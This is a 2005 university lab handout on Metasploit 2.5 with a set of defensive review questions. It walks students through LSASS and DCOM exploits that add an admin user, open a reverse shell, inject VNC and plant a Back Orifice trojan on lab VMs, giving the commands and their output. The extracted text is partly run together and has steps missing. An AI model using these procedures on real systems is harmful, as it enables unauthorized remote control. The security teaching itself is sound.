Professional Documents
Culture Documents
Goal:: Lab XX: Exploit Frameworks Using Metasploit
Goal:: Lab XX: Exploit Frameworks Using Metasploit
GroupNumber:_______________ MemberNames:__________________________________________________ DateAssigned:TBD DateDue:TBD LastEdited:12/14/2005 LabAuthoredBy:ThomasLitchfield,VineetChhangani Pleasereadtheentirelabandanyextramaterialscarefullybeforestarting. Besureto startearlyenoughsothatyouwillhavetimetocompletethelab.AnswerALLquestions andbesureyouturninALLmaterialslistedintheTurninChecklistONorBEFORE theDateDue.
Goal:
The goal of this lab is to learn how to install and use the Metasploit Framework in a Linux and Windows environment and show how the exploit framework can be used to identify and take advantage of vulnerabilities in both operating systems. While the lab will include exercises that show how to exploit vulnerabilities, the students should also be focused on what defensive steps can be taken as a system administrator to prevent someone else from performing these attacks on a production system.
Summary:Thislabwillconsistofsixsections.Section1willconsistofsetting
uptheenvironmentandinstallingtheMetasploitsoftware.Sections2through4willuse theRedHatLinuxWS4.0hostmachineastheattackerandtheWindowsXPvirtual machineasthetarget. Section5willuseoneWindowsXPvirtualmachinetoattack another Windows XP virtual machine. The setup of the virtual machines and the terminologyusedtodistinguishbetweenthetwoWindowsXPvirtualmachineswillbe explainedlater.Thesixsectiontopicswillconsistof: Section1:SettinguptheMetasploitFrameworksoftware Section2:RemotelyaddanadministratorusertoWindowsXP Section3:GainadministratoraccesstoaremoteWindowsXPcommandshell
Exploit Frameworks were first created as a development tool to be used by network and system administrators for the purpose of penetration testing. Penetration testing can be a very complicated and difficult undertaking since there are many different ways a network, and a computer system on a network, can be compromised. To help automate this type of testing, developers came up with the concept of exploit frameworks. The exploit frameworks would take a collection of known vulnerabilities for a particular system and script a set of attacks that an administrator would likely see in a real world setting. As more vulnerabilities were discovered, they were added to the frameworks to keep them current. Exploit frameworks are still a very important part of penetration testing in current network environments and several companies sell very expensive and very advanced framework products. For this lab we will be experimenting with the functionality of a very popular open source framework called Metasploit (www.metasploit.com). Within the development of creating frameworks the task of automating exploits can be broken down into two parts Exploit Frameworks and Shellcode Generators. Exploit Frameworks can be defined as a collection of reusable tools and scripts that automate the task of exploiting known vulnerabilities in applications and operating systems. What this means is that an exploit framework is a set of pre-defined scripts that make the process of exploiting a vulnerability very simple and automatic. All of the pre-defined scripts are contained within the install package so there is no need to install extra software or to modify the scripts to successfully run the exploits. Instead of modifying the scripts, you set switches and parameters within the program. One of the main settings you configure in the software is the Payload. The payload is the actual code that is executed on the target system once the exploit opens up communication with the target. It is this combination of exploits and payloads that is the basis for how frameworks operate. As previously mentioned, the other part of automating exploits is the shellcode generator. A shellcode generator is defined as a program or a set of scripts that converts standard code into a shellcode that can be used by exploit frameworks. The payload section of the exploit is essentially a script or a set of instructions that are written in shellcode. Since many programmers do not know how to program in shellcode, there are shellcode generators available on the Internet. A shellcode generator takes a script written in a standard language, usually C, and converts it into shellcode which can be used in the exploit framework as a payload. Programming your own shellcode can be a tedious task and is beyond the scope of this class, therefore this lab will not be concentrated on the actual generation of payloads but rather we will use payloads that come with the framework. Part of the goal of the lab is to show a system administrator what type of threats are available via a exploit framework
and to show how easy it is to take advantage of a system with very little knowledge of vulnerabilities. With this goal in mind we will use existing exploits and payloads that are already contained in the install package. For more examples of popular exploit frameworks, look at these software packages and websites: MOSDEF (http://www.immunitysec.com/downloads/MOSDEF0.6.tgz) The ImmunitySec website has a good documentation page that contains many good links to papers and presentations on the subject of exploits and frameworks. Take some time to look at this webpage and read some of the resources available. The webpage is located at: http://www.immunitysec.com/resources-papers.shtml ADMmutate (http://www.ktwo.ca/ADMmutate-0.8.1.tar.gz) More information about ADMmutate and other exploits can be found at: http://www.ktwo.ca/security.html Metasploit (http://www.metasploit.com/projects/Framework/downloads.html) Metasploit is the framework that we will use in this lab. You will become very familiar with this tool by performing the lab exercises, however you are encouraged to familiarize yourself with the tool as much as possible before the lab. A good resource to read prior to performing these exercises is a three part article on Metasploit written by Security Focus. You can read the article online at: http://www.securityfocus.com/infocus/1789 Another good article that covers the topic of using Metasploit for penetration testing is Metasploit for the Penetration Tester, found online at: http://www.giac.org/certified_professionals/practicals/gsec/4363.php Finally, you can read the Metasploit Users Guide online at: (http://www.metasploit.com/projects/Framework/docs/userguide/index.html)
None.
This lab requires the use of four machines. The main machine that we will use as the attacker machine for most of the labs will be your Red Hat WS 4.0 host machine. This machine will always be referenced in the sections as Red Hat WS 4.0 host machine. We will also use the Windows XP virtual machine that you have already created in a previous lab. This Windows XP virtual machine will be the target machine in most of the labs and will always be referenced in the sections as Original Windows XP virtual machine. Section 5 of this lab will require you to have a second Windows XP virtual machine running on your host system. If you havent already created a second Windows XP virtual machine in one of the previous labs, you will have the
opportunity to create one in Section 5. Do not worry about doing that at this time. This secondary Windows XP virtual machine will always be referenced in the sections as Windows XP Copy virtual machine. The version of Metasploit that we will use on Linux and Windows XP will be 2.5 (the latest version at the time of this writing) and the install packages can be found on the NAS in the /mnt/nas4112/LabXX/ folder. On the below diagram, please take a moment to identify the IP addresses for your Red Hat WS 4.0 host machine, your Original Windows XP Pro virtual machine, and your Windows XP Pro Copy virtual machine. If you do not yet have a virtual machine copy then identify what IP address you will use once you have created it. Write down all of the IP addresses in the spaces provided. This will help you keep track of what IP address belongs to what machine when we start using multiple machines in the lab.
After you enter the NAS password and mount the drive you need to change the directory to this labs folder and copy the files back to your host machine. To do so, enter the following commands:
# cd /mnt/nas4112/labxx/ # cp framework-2.5.tar.gz /root/
To uncompress the files after you copy them to your home folder:
# tar xvfz framework-2.5.tar.gz
This creates a directory in /root/ called framework-2.5. This will be the home folder for Metasploit and contains all of the files used to run the framework. There is nothing more we need to do for the install. Within this folder, the main file that we will be using for most sections of this lab is called msfconsole.
Close all open windows and leave the Original Windows XP virtual machine running. Exercise 2.2 Learning the Basics of Metasploit Switch back over to your Red Hat WS 4.0 host machine and open up a terminal window. In the terminal window change the directory to your Metasploit framework install directory. The command for this is:
# cd /root/framework-2.5
The Metasploit 2.5 framework console should start up and present you with a msf > prompt. Your terminal window should look something like this:
(NOTE: Metasploit uses different splash screens at startup and chooses the splash screen randomly, therefore your terminal may look slightly different than the one pictured here.) Once you are at the msf > prompt, you can type a ? and hit enter to see all of the available commands. It is also important to note that if you ever type a command that Metasploit does not recognize the program will automatically pass the command to the operating system and try to execute it there. This can be very helpful if you need to run a Red Hat OS command, you can do it within Metasploit and the command will run in the OS. There is no need to open another terminal window or to exit out of Metasploit to run OS commands. Take a minute now to explore how the Metasploit console works. At the msf > prompt, type a ? and hit enter.
msf > ?
Briefly familiarize yourself with these commands, we will be using some of them later in the lab. Also, at this point, type in one or two Red Hat OS commands and take note as to how the framework passes the commands to the OS and returns the results back into the program.
msf > ifconfig msf > whoami msf > ls /
Now that you are familiar with running the Metasploit console and have practiced with a 7
couple of commands, it is time to run our first exploit that will add an administrator user to our Original Windows XP virtual machine. Exercise 2.3 Running the Exploit in Metasploit The first step is to select an exploit that we want to use. To see all of the available exploits we use the command show exploits.
msf > show exploits
You will see a fairly comprehensive list of exploits fill up the screen. Within this list, the left column contains all of the exploit names and the right column shows a brief description of what the exploit is. Since our target machine in this section is a Windows XP machine we will be looking for an exploit that takes advantage of a Windows related vulnerability. For this example we will be using the lsass_ms04_011 exploit. To select this exploit type the following command
msf > use lsass_ms04_011
Notice that when you type in this command, the prompt changes from msf > to
msf lsass_ms04_011 >
Now that we have selected an exploit we need to set some other options before we can actually run the exploit. To see a list of what parameters can be set, type the following command at the prompt
msf lsass_ms04_011 > show
This command reveals that the parameters we can choose are 'targets', 'payloads', 'options', or 'advanced'. The first parameter we will set will be the payloads option. The payload is the part of the exploit that is actually passed to the target machine. In the case of our example we are exploiting the LSA framework within Windows and our goal is to remotely add an administrator user to the machine. The payload that we choose will be the code that actually performs the operation of adding the administrator user. To see a list of available payloads for the chosen exploit run this command at the prompt:
msf lsass_ms04_011 > show payloads
For this section we want to add a user to XP, so we will choose the first payload win32_adduser. To select this type:
msf lsass_ms04_011 > set PAYLOAD win32_adduser
(make sure that PAYLOAD is in all caps) Notice that when you select the payload, the msf prompt changes again to reflect the name of the payload that is being used.
The next parameter we need to set is the target. The target option specifies what type of system we are running the exploit against. Our remote system is Windows XP. To view the settings for target, type:
msf lsass_ms04_011(win32_adduser) > show targets
(make sure that TARGET is in all caps) The final settings that we need to configure are some options that are specific to this exploit and payload. These options can be viewed by typing the command:
msf lsass_ms04_011(win32_adduser) > show options
Within this list of options you will see the option name and whether or not it is required by the exploit. You will also see a default value for the options if there is one available. We need to set a value for every option that is defined as required and does not have a default value. For this exploit we will need to set RHOST, USER, and PASS. The first parameter, RHOST, is the IP address of the remote system that we are attacking. To set this value, type:
msf lsass_ms04_011(win32_adduser) > set RHOST 57.35.6.xxx Where xxx is the fourth octet of the IP address of your Original Windows XP virtual machine.
(make sure that RHOST is in all caps) The next required value that we need to set is USER. USER is the username that we are going to add to our Windows XP virtual machine.
msf lsass_ms04_011(win32_adduser) > set USER metasploit Where metasploit is the name of the user you wish to add. You can substitute any username in place of metasploit just stay away from default Windows usernames like admin or guest, etc.
(make sure that USER is in all caps) The final required value that we need to set is PASS. PASS is the password that will be associated with our newly created username.
msf lsass_ms04_011(win32_adduser) > set PASS ece4112 Where ece4112 is the password. like in place of ece4112. You can substitute any password you
(Make sure that PASS is in all caps) Now, all of the required options are configured for this exploit and payload. The exploit
is ready to be executed, but before we run it, it is important to double check all of the settings first. All of the options that we set and all of the values that we assigned can be viewed with the command set. At the prompt type:
msf lsass_ms04_011(win32_adduser) > set
Double check the settings. If everything looks correct, execute the exploit with the command exploit.
msf lsass_ms04_011(win32_adduser) > exploit
If everything was set correctly, the output on the screen should look like this:
[*] Windows XP may require two attempts [*] Sending 32 DCE request fragments... [*] Sending the final DCE fragment
Now switch over to your Windows XP virtual machine and go back to the Control Panel and click on User Accounts. If the exploit ran correctly you should see a new username in the list that is the name of the user you created in the USER option earlier. *** NOTE *** Due to the LSA framework in Windows, the first exploit attempt may not work. If you do not see your username in the User Accounts window in your Original Windows XP virtual machine Control Panel, just go back to your Red Hat WS 4.0 host machine terminal window and run the exploit command again and then check Windows again. Screenshot 1: Attach to your answer sheet a screen shot of your User Accounts window showing your new username. Test your new username by logging off of Windows. Start Log Off Log Off At the Windows XP Welcome screen, click the icon next to your new username and enter the password that you specified in Metasploit with the PASS option. Once you are logged into Windows, browse around the OS and test your new account.
10
Q2.1: What level of access does your new user have in Windows? Q2.2: How can a system administrator detect this kind of attack? Q2.3: What can a system administrator do to prevent this type of attack? Before you move on to the next section, take a minute to log off of your Windows XP virtual machine and log back on as User1. As User1, go back to your Control Panel and click on User Accounts. Select the username that you just created and delete it. We do not want the presence of this username to interfere with later sections in this lab.
You should be at the familiar Metasploit prompt that we saw in Section 2. To see the list
11
Since our target machine in this section is a Windows XP machine we will be looking for an exploit that takes advantage of a Windows related vulnerability. However for the sake of learning something new we will use something different from the LSA exploit used in Section 2. For this example we will be using the msrpc_dcom_ms03_026 exploit. To select this exploit type the following command
msf > use msrpc_dcom_ms03_026
For more information about the Windows DCOM module and RPC and how they can be exploited, please read Appendix B. Notice that when you type in this command, the prompt changes from msf > to
msf msrpc_dcom_ms03_026 >
Nowthatwehaveselectedtheexploitthatwewilluse,weneedtosetsomeoptionsthat arespecifictothisexploitlikewedidinSection2withtheLSAexploit.To see a list of what parameters can be set, type the following command at the prompt
msf msrpc_dcom_ms03_026 > show
The first parameter we need to set is PAYLOAD. To see a list of payloads that can be used with this exploit, type:
msf msrpc_dcom_ms03_026 > show payloads
The goal of this section is to gain remote access to a Windows XP command line shell, so we will choose the Windows Reverse Shell payload. To do this, enter the command:
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse
(make sure that PAYLOAD is in all caps) Notice that when you select the payload, the msf prompt changes again to reflect the payload name that is being used. The next parameter that we need to set is the TARGET. To see a list of targets that can be used with this exploit, type:
msf msrpc_dcom_ms03_026(win32_reverse) > show targets
For this exploit, there is only one target that covers all versions of Windows. To set this parameter enter the command:
msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0
12
(make sure that TARGET is in all caps) Finally we need to set some options that are specific to this exploit and payload combination. To see these options type:
msf msrpc_dcom_ms03_026(win32_reverse) > show options
Just like in the previous section, any value that is listed as required and does not have a default value associate with it needs to be set. In this case we need to set RHOST and LHOST. RHOST is the IP address of our Original Windows XP virtual machine and LHOST is the IP address of the Red Hat WS 4.0 host machine that we are running Metasploit from. Metasploit needs the LHOST information so it knows where to send the remote Windows shell to. To set these values enter the following commands:
msf msrpc_dcom_ms03_026(win32_reverse) > set RHOST 57.35.6.xxx Where xxx is the fourth octet of the IP address of your Original Windows XP virtual machine.
(make sure that LHOST is in all caps) Now, all of the required options are configured for this exploit and payload. The exploit is ready to be executed, but before we run it, it is important to double check all of the settings first. All of the options that we set and all of the values that we assigned can be viewed with the command set. At the prompt type:
msf msrpc_dcom_ms03_026(win32_reverse) > set
Double check the settings. If everything looks correct, execute the exploit with the command exploit.
msf msrpc_dcom_ms03_026(win32_reverse) > exploit
If everything was set correctly, the output on the screen should look like this:
13
[*] Starting Reverse Handler. [*] Splitting RPC request into 7 packets [*] Got connection from 57.35.6.191:4321 <-> 57.35.6.195:3045 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
This is your remote Windows XP command shell. Any commands that you type in this window will be executed remotely on your Original Windows XP virtual machine. Take some time to type some Windows commands and view their output. Q3.1: What level of access do you have at the remote Windows command shell? Q3.2: Are there any indications on the virtual machine console that anything has happened? Q3.3: What are some examples of commands that you could use at this prompt to further exploit this system? Q3.4: What can a system administrator do to prevent this type of attack? Screenshot 2: Attach to your answer sheet a screen shot of your remote Windows command shell showing the output of running the ipconfig command. (The screen shot should show the Windows XP banner and command prompt within a Red Hat terminal window and show the XP network information.)
Exercise 4.1 Preliminary Information Before we actually run the exploit we need to go to our Original Windows XP virtual machine and take note of some settings. On the Original Windows XP virtual machine go to the Control Panel and click on the Add or Remove Programs icon. Take note of what applications are installed on your virtual machine. Notice that no VNC software is currently installed. If there is an instance of VNC server that was installed in a previous lab, remove it. Once this is confirmed, close all open windows in XP and leave the virtual machine running. Exercise 4.2 Install VNC Viewer on host machine Switch back over to your Red Hat WS 4.0 host machine. In order for this exploit to work properly, we need to have the VNC viewer client software installed on our host machine. This is necessary because when the exploit is run, Metasploit will automatically spawn the VNC client and automatically connect it to the VNC instance running on the Original Windows XP virtual machine. To install the VNC viewer we will need to copy the install package from the network attached storage (NAS). You can also download the install package from the following website: http://www.tightvnc.com/download.html To obtain the install package from the NAS follow these commands:
# cd /mnt/nas4112/labxx/ # cp tightvnc-1.2.9-1.i386.rpm /root/ # cd /root/ # rpm -Uvh tightvnc-1.2.9-1.i386.rpm
Exercise 4.3 Running Metasploit Now we are ready to run Metasploit and configure our options for this exploit. Go to your Metasploit home directory and start the framework up.
# cd /root/framework-2.5
You should be at the familiar Metasploit prompt that we saw in Sections 2 and 3. To see the list of available exploits type:
msf > show exploits
Since our target machine in this section is a Windows XP machine we will be looking for
15
an exploit that takes advantage of a Windows related vulnerability. The LSA framework that we exploited in Section 2 worked well and didnt require any special software to be installed on Windows XP, so we will use that exploit again for this section. To select this exploit run this command:
msf > use lsass_ms04_011
Just like in the previous two sections, there are several parameters that need to be set that are specific to this exploit. To see what parameters are available, type:
msf lsass_ms04_011 > show
This command reveals that the parameters we can choose are 'targets', 'payloads', 'options', or 'advanced'. The first parameter we will set will be PAYLOAD. In the case of our example we are exploiting the LSA framework within Windows and our goal is to remotely inject the Windows XP virtual machine with the VNC dll. To see a list of available payloads for the chosen exploit run this command at the prompt:
msf lsass_ms04_011 > show payloads
For this section we will choose the last payload win32_reverse_vncinject. To select this type:
msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
(make sure that PAYLOAD is in all caps) Notice that when you select the payload, the msf prompt changes again to reflect the payload name that is being used. The next parameter we need to set is the target. The target option specifies what type of system we are running the exploit on. Our remote system is Windows XP. To view the settings for target, type:
msf lsass_ms04_011(win32_reverse_vncinject) > show targets
(make sure that TARGET is in all caps) The final settings that we need to configure are some options that are specific to this exploit and payload. These options can be viewed by typing the command:
msf lsass_ms04_011(win32_reverse_vncinject) > show options
Just like with previous sections, we will need to set a value for every option that is defined as required and does not have a default value. For this exploit we will only need
16
to set RHOST and LHOST. RHOST is the IP address of the remote system that we are attacking. To set this value, type:
msf lsass_ms04_011(win32_reverse_vncinject) > set RHOST 57.35.6.xxx Where xxx is the fourth octet of the IP address of your Original Windows XP virtual machine.
(make sure that RHOST is in all caps) The other required value that we need to set is LHOST. LHOST is the IP address of the attacking machine, which in this case is our Red Hat WS 4.0 host machine.
msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST 57.35.6.xxx Where xxx is the fourth octet of the IP address of your Red Hat WS 4.0 host machine.
(make sure that LHOST is in all caps) Now, all of the required options are configured for this exploit and payload. The exploit is ready to be executed, but before we run it, it is important to double check all of the settings first. All of the options that we set and all of the values that we assigned can be viewed with the command set. At the prompt type:
msf lsass_ms04_011(win32_reverse_vncinject) > set
Double check the settings. If everything looks correct, execute the exploit with the command exploit.
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
If everything was set correctly, the TightVNC client viewer should automatically launch and connect to your Windows XP virtual machine. ***NOTE*** Since we are using the LSA exploit again for this section, the payload may not execute on the first attempt due to the nature of LSA and this exploit. If the Tight VNC viewer does not automatically execute and connect, just run the exploit command again in Metasploit. Once you are connected, you will have to move your mouse around a little to trigger the
17
screen to refresh. During the VNC session, if the screen ever seems to freeze or not update itself, just move your mouse around. VNC is configured to refresh the screen under the mouse pointer. This is done to reduce bandwidth associated with keeping the whole screen refreshed all of the time. Screenshot 3: Attach to your answer sheet a screen shot of the Tight VNC client viewer within Linux showing the Original Windows XP virtual machine in the background and the Metasploit Courtesy Shell window. In the Metasploit Courtesy Shell, type some commands and take notice of what actions you can take. In addition, take a look at the Start Menu, the Task Manager, and the Add or Remove Programs window and look for any traces of VNC or any indication that VNC is installed or running. Q4.1: What indications are there on the virtual machine console that anything has happened, or that VNC was installed? Q4.2: What can a system administrator do to prevent this type of attack? Now close the Tight VNC client window in Linux and hit enter in the msfconsole terminal window to break the connection. In the remainder of this section we will further examine the VNC server dll injection and perform another example to show the power of this exploit. Exercise 4.4 Using VNC on a Logged Off System One of the problems with the Windows version of VNC server is that it only enables you to connect to the current session of the machine you are connecting to. This is fine if you can connect to a machine where there is a user logged in with administrator privileges. However, if you connect to a Windows machine and the user has logged off or locked the screen, you will not be able to do anything unless you have a password or unless you have previously run the Add User exploit and have a valid username and password. (For this part of the lab we will assume that you do not have a password and have not executed the Add User exploit previously). In this part of the section, we are going to recreate one of these scenarios. To do this, go back to your Windows XP virtual machine and log out. Start Menu Log Off Log Off Leave the Windows XP virtual machine at the welcome screen. A traditional VNC client would connect to this Windows machine and the client program would only display the welcome screen. Without a user account on the system, the attacker would not be able to do anything. However the Metasploit VNC dll inject
18
exploit has a solution to this problem. To see how this works, leave your Windows XP virtual machine at the welcome screen and switch back over to your Red Hat WS 4.0 host machine and go to the Metasploit framework console window. Now run the VNC reverse dll inject exploit again by entering the exploit command.
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
If everything was set correctly, the TightVNC client viewer should automatically launch and connect to your Windows XP virtual machine. ***NOTE*** Just like in the past with the LSA exploit, you may have to enter the exploit command twice if it does not connect on the first attempt. Once you are connected, move your mouse around a little to refresh the screen. Take note of what has happened this time you connected to the Windows XP virtual machine. Q4.3: What is different about the VNC session this time? Q4.4: What makes this type of exploit very dangerous to a system administrator? Screenshot 4: Attach to your answer sheet a screen shot of the Tight VNC client viewer within Linux showing the Windows XP virtual machine welcome screen and the Metasploit Courtesy Shell window on top of it.
19
be used to infect a remote system with a virus, or any other rootkit or trojan program that is compatible with Linux or Windows. Exercise 5.1 Installing Metasploit on Windows XP To begin this lab, first go to your original Windows XP virtual machine where we will install the Metasploit framework Windows program. First connect to the NAS from the run prompt and browse to the Labxx folder. In this folder, copy the file framework2.5.exe file to your Windows XP desktop and follow these steps: (Note the Windows version of Metasploit can be downloaded at: http://www.metasploit.com/projects/Framework/downloads.html) Double click on the file framework-2.5.exe Click Next on the first screen Click on I Agree on the license agreement Do not change the destination folder and click Next Finally click Install Wait for it to finish copying files When it is done, it will automatically launch msfconsole Close the msfconsole window (we will launch it later when we need it) Clck Finish on the install window Exercise 5.2 Installing Back Orifice on Windows XP Now that Metasploit is installed and ready to use, we will need to install and configure Back Orifice. To do this, go back to the NAS server and open up the Labxx folder. In this folder, copy the file bo2k_1_0_full.exe to your Desktop. Back Orifice can also be downloaded from: http://www.bo2k.com/software/index.html To install the software follow these steps: Double click on the file bo2k_1_0_full.exe Click Next on the welcome screen Click Next on the installation folder screen The Install Shield program will start Click Next on the welcome screen Click Yes on the GPL license screen Click Next on the Location screen Choose Typical for type Click Next on the program folder screen Finally click Next to start copying files When the files have been copied, click Finish Exercise 5.3 Creating a Trojan File with Back Orifice on Windows XP
20
Now that Back Orifice is installed, we will need to use the program to create the rootkit file that we will use in our exploit on our Windows XP Copy virtual machine. To do this, first start up Back Orifice by going to: Start All Programs Bo2k Run the program called Bo2k Configuration Tool Once the Bo2k Configuration Tool starts, follow these steps to create the rootkit file: Click Next on Step 1 Click Next on Step 2 Choose TCP networking on Step 3 Pick any high port (> 1024) on Step 4 (eg. port 3333) Click Next on Step 5 Choose any password on Step 6 (eg. ece4112) Click Finish Close the Bo2k Server Configuration window At this point in the lab we have created a trojan rootkit program called bo2k.exe. This process has been very typical so far in that all we have done is use Back Orifice to create this file. The challenge with any trojan or rootkit program is not in the creation of the file, but in the process of getting the rootkit on the target machine, and more importantly running. This is where Metasploit comes in and we can use the framework to transfer our bo2k.exe file to our Windows XP Copy virtual machine. Exercise 5.4 Setting up the Environment Before we can run Metasploit though, we need to put the rootkit file in a place where Metasploit can find it. To do this, follow these steps: Go to your Start Menu and open up Windows Explorer Browse to C:\Program Files\Cult Of The Dead Cow\Back Orifice 2000 Right click on the file bo2k.exe and choose Copy Browse to C:\Program Files\Metasploit Framework\home Right click and choose Paste Close Windows Explorer and close any open programs or windows on your original Windows XP virtual machine and your Windows XP Copy virtual machine. Exercise 5.5 Running the Exploit in Metasploit Now everything is set up correctly on our attacker virtual machine and it is time to run Metasploit. Start the Metasploit Framework Console by going to:
21
Start All Programs Metasploit Framework Click on msfconsole Metasploit should open in a DOS command window. Everything in the Windows version of Metasploit is just like its Linux counterpart that we are familiar with. The commands and procedures will be very similar to those that we have used in previous sections. Just like in previous sections, we will need to first choose an exploit that we will use to install our rootkit on our Windows XP Copy virtual machine. Just like in Linux, to see a list of available exploits, use the show exploits command:
msf > show exploits
In Section 3, we had good luck using the DCOM vulnerability in Windows, therefore we will use that same exploit again for this section. To select the msrpc_dcom_ms03_026 exploit type the following command:
msf > use msrpc_dcom_ms03_026
Notice that when you type in this command, the prompt changes from msf > to
msf msrpc_dcom_ms03_026 >
Nowthatwehaveselectedtheexploitthatwewilluse,weneedtosetsomeoptionsthat arespecifictothisexploitlikewedidinallofthepreviousexploits.To see a list of what parameters can be set, type the following command at the prompt
msf msrpc_dcom_ms03_026 > show
The first parameter we need to set is PAYLOAD. To see a list of payloads that can be used with this exploit, type:
msf msrpc_dcom_ms03_026 > show payloads
For this section our goal is to copy our bo2k.exe file over to our Windows XP Copy virtual machine and execute it into memory. From the list of payloads that we have available for this exploit, the one that we will use is win32_reverse_stg_upexec. To select this payload use the following command:
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse_stg_upexec
(make sure that PAYLOAD is in all caps) Notice that when you select the payload, the msf prompt changes again to reflect the payload name that is being used. The next parameter that we need to set is the TARGET. To see a list of targets that can
22
For this exploit, there is only one target that covers all versions of Windows. To set this parameter enter the command:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set TARGET 0
(make sure that TARGET is in all caps) Finally we need to set some options that are specific to this exploit and payload combination. To see these options type:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > show options
Just like in the previous sections, any value that is listed as required and does not have a default value associate with it needs to be set. In this case we need to set RHOST, LHOST, and PEXEC. RHOST is the IP address of our Windows XP Copy virtual machine, LHOST is the IP address of our original Windows XP virtual machine that we are running Metasploit from, and PEXEC is the patch of the file that we will upload and execute. To set these values enter the following commands:
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set RHOST 57.35.6.xxx Where xxx is the fourth octet of the IP address of your Windows XP Copy virtual machine
Because we copied the bo2k.exe file to C:\Program Files\Metasploit Framework\home, the file is in the Metasploit home directory and therefore there is no path information that we need to set with PEXEC. When Metasploit runs, it will automatically look in its home directory for the file. (make sure that PEXEC is in all caps) Now, all of the required options are configured for this exploit and payload. The exploit is ready to be executed, but before we run it, it is important to double check all of the settings first. All of the options that we set and all of the values that we assigned can be viewed with the command set. At the prompt type:
23
Double check the settings. If everything looks correct, execute the exploit with the command exploit.
msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > exploit
If everything was set correctly, the output on the screen should look like this:
msf [*] [*] [*] [*] [*] [*] [*] msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > exploit Starting Reverse Handler. Splitting RPC request into 7 packets Got connection from 57.35.6.193:4321 <-> 57.35.6.195:1030 Sending Stage (270 bytes) Sleeping before sending file. Uploading file (114688), Please wait... Executing uploaded file...
Exercise 5.6 Using the Trojan Program with Back Orifice Atthispoint,ourTrojanprogramisuploadedandrunningonourWindowsXPCopy virtualmachineandissilentlywaitingforustoconnecttoitandissuesomecommands. Todothis,leavetheMetasploitframeworkconsolerunningandminimizetheCMD window.IfyouclosetheMetasploitframeworkconsole,itwillbreaktheconnection withourtargetmachineandwewillnotbeabletocompletethelab.Ifyoudobreakthe connection,rerunthepreviousMetasploitcommandsandreestablishtheconnection. WithMetasploitstillrunning,weneedtoruntheBackOrificeclientprogram.Todothis goto: Start AllProgramsBo2kBo2kClient IntheBo2kWorkspace,gotoFileNewServer Forthenameoftheserver,enterinadescriptivename(eg.MetasploitTrojan)
24
Underserveraddress,entertheIPaddressofyourWindowsXPCopyvirtualmachine. LeaveallothersettingsattheirdefaultvaluesandclickOK. AttheServerCommandClientwindow,clickonthebuttonlabeledClicktoConnect. Oncetheconnectionisestablishedwehavefullcontroloverourtargetmachine.Take sometimetoexploreallofthemenusandexaminewhatoptionsareavailabletoyou. Feelfreetotestanyoftheoptionsandexploitsthatyouhaveatyourdisposal. Forthissectionofthelabhowever,wewillonlytestoneofattacks.Sinceweareethical hackersandweareonlytestingthisexploit,wewillsendourWindowsXPCopyvirtual machineamessage.Themessagewillpopupontheremotedesktopjustasanysystem messagewouldappearinWindowsXP. Tosendamessagetoourtargetmachine,firstclickontheplussignnexttotheGUI menuitem.NextclickonSystemMessageBox.Forthetitleofourmessage,enter somethingdescriptive(eg.MetasploitTrojan).InthetextfieldtypeinECE4112 Groupxx(wherexxisyourgroupnumber).FinallyclickontheSendCommand button. Onceyouhavesentthemessageboxtoyourtargetmachine,switchovertoyour WindowsXPCopyvirtualmachineandlookatthedesktop.Yourmessageshouldbe visibleonthedesktop. Screenshot 5: Attach to your answer sheet a screen shot of your Windows XP Copy virtual machine desktop with the message box displayed. Click OK to close the message box. While you are still on your Windows XP Copy virtual machine, take some time to browse around the OS. Look carefully for any signs that the machine is infected with a trojan file. Q5.1: What indications are there on the Windows XP Copy virtual machine that anything has happened? Q5.2: Besides using Back Orifice 2000 to create a trojan program, what other uses can you think of for using the Metasploit Upload & Execute exploit? Q5.3: What can a system administrator do to prevent this type of attack?
25
Before you move on to the next section, go back to your original Windows XP virtual machine and close the Bo2k Client program. In addition to closing Bo2k, go back to your Metasploit framework console and press CTL + C to break the connection. Type yes at the confirmation then close the msfconsole window.
Thewebserverscriptshouldrunandyourscreenshouldlooksomethinglikethis:
[root@group37 framework-2.5]# ./msfweb +----=[ Metasploit Framework Web Interface (127.0.0.1:55555)
26
ThisindicatesthatMetasploitWebisrunningandwaitingforaconnection.The MetasploitWebprogramhasabuiltinwebserversothereisnoneedtorunApacheor anyother3rdpartywebserverapplication. Exercise 6.2 Connecting to the Web Interface Now,toconnecttothewebprogram,openupabrowserandgotothefollowingaddress: http://127.0.0.1:55555/ TheIPaddress127.0.0.1isyourRedHatWS4.0hostmachinesloopbackaddressand the:55555istheportnumberweareconnectingto.Thistellsthebrowsertoconnectto thelocalhost(itsownmachine)onport55555.Ifeverythingworkedcorrectlythe browsershouldopenuptothedefaulthomepage.
27
